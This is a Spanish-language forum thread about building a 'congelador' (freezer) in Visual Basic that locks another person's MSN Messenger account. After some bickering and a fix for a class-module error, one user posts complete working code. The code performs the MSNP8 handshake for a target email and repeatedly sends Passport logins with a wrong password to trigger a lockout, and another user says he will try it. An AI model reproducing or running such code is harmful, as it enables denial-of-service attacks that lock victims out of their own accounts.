Fabricando un congelador tipo ice cold en vb[Optimizado]

[Tughack]

pasra TugHack:
te agradeceria que si vas a colaborar que lo hagas, pero no hagas criticas inconstructivas, si lo hiciste en pocas lineas pues postealo (se q no lo haras..) pero no te presumas...
PD: NO seguire esta discucion por parte de tughack... seguire con el resto del aporte.

Pff pues solo hice un comentario k por cierto tiene su parte construtiva... O crees k decirle k esta codigo a mas y k lo puede hacer mejor no es contructivo?

Se solo puedo postear para decir "Muy bien!" no se para k sirve el foro...

[drakolive]

y mi error????????

[wACtOr]

drackolive, en una palabra:

INDEX
-----------------

ya me a blokeado la cuenta, pero no se por que razon no ha parado el timer. voy aver que ocurre jejeje

[drakolive]

que lio ahora me da este error:

....
Que sucede??????????????????????

[Freeze.]

Alli estas declarando que X es un Modulo y eso no se puede...

En fin:

"Un módulo no es un tipo válido"

[drakolive]

el codigo que postearon esta asi...
nunca he tenido este problema...
como lo puedo solucionar?

[Freeze.]

Espera a Tegu...

[Arcangel]

en un modulo de clase llamado cryptocls agregamos este code:

fíjate cryptocls es un modulo DE CLACE, no lo puedes agregar como un modulo común y corriente, en ves de agregar "Module", tienes que pegar ese code en un "Class Module", y pues claro ponerle su nombre correspondiente.

Arcangel

[Kizar]

Lo hice hace tiempo y lo posteo, cualquiera con un sniffer puede hacerlo, yo tarde una media hora y mi código son unas pocas lineas.

Todo en un formulario con:
Textbox = Text1
Boton = Command1 = Bloquear
Boton = Command2 = DesBloquear
Label  = Label1

Código [Seleccionar] Expandir

Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function HttpOpenRequest Lib "wininet.dll" Alias "HttpOpenRequestA" (ByVal hHttpSession As Long, ByVal sVerb As String, ByVal sObjectName As String, ByVal sVersion As String, ByVal sReferer As String, ByVal something As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function HttpSendRequest Lib "wininet.dll" Alias "HttpSendRequestA" (ByVal hHttpRequest As Long, ByVal sHeaders As String, ByVal lHeadersLength As Long, ByVal sOptional As String, ByVal lOptionalLength As Long) As Long
Private Declare Function HttpQueryInfo Lib "wininet.dll" Alias "HttpQueryInfoA" (ByVal hHttpRequest As Long, ByVal lInfoLevel As Long, ByRef sBuffer As Any, ByRef lBufferLength As Long, ByRef lIndex As Long) As Integer
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
Dim res As String
Dim num As Integer

Private Sub Command1_Click()
Label1.Caption = "Conectando al servidor..."
WS.Close
WS.RemoteHost = "messenger.hotmail.com"
WS.RemotePort = 1863
WS.Connect
End Sub

Private Sub Command2_Click()
Timer1.Enabled = False
Label1.Caption = "Cuenta desbloqueada"
End Sub

Private Sub Timer1_Timer()
Timer1.Enabled = False
If num < 10 Then
num = num + 1
Label1.Caption = "Bloqueando... [" & num * 10 & "%]"
ElseIf num = 10 Then
num = num + 1
Label1.Caption = "Cuenta bloqueada ;)"
End If
Dim tmp2() As String, tmp3 As String, tmp4 As String, hopen As Long, hConnection As Long, hRequest As Long, lgRep As Long, stStatusCode As String
hopen = InternetOpen("MSMSGS", 1, 0, 0, 0)
hConnection = InternetConnect(hopen, "loginnet.passport.com", 443, vbNullString, vbNullString, 3, &H280000, 0)
hRequest = HttpOpenRequest(hConnection, "GET", "/login2.srf", 0, vbNullString, 0, &H84E8F000, 0)
tmp2 = Split(Text1.Text, "@")
tmp4 = tmp2(0) & "%40" & tmp2(1)
tmp3 = "Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" & tmp4 & ",pwd=crapware, " & res
lgRep = HttpSendRequest(hRequest, tmp3, -1, 0, 0)
stStatusCode = Space$(1000)
HttpQueryInfo hRequest, &H16, ByVal stStatusCode, 1000, 0
InternetCloseHandle hopen
InternetCloseHandle hConnection
InternetCloseHandle hRequest
Timer1.Enabled = True
End Sub

Private Sub WS_Connect()
WS.SendData "VER 1 MSNP8 CVR0" & Chr(13) & Chr(10)
Label1.Caption = "Conectado"
End Sub

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
WS.GetData datos

Select Case Left(datos, 3)
Case "VER"
WS.SendData "CVR 2 0x0409 win 4.10 i386 MSNMSGR 5.0.0544 MSMSGS " & Text1.Text & Chr(13) & Chr(10)
Case "CVR"
WS.SendData "USR 3 TWN I " & Text1.Text & Chr(13) & Chr(10)
Case "XFR"
Dim tmp() As String
tmp = Split(datos, " ")
WS.Close
WS.RemoteHost = Left(tmp(3), Len(tmp(3)) - 5)
WS.Connect
Case "USR"
Dim tmp2() As String
tmp2 = Split(datos, " ")
res = tmp2(4)
num = 0
Timer1.Enabled = True
End Select
End Sub

[Freeze.]

Muy bueno ya lo pruebo...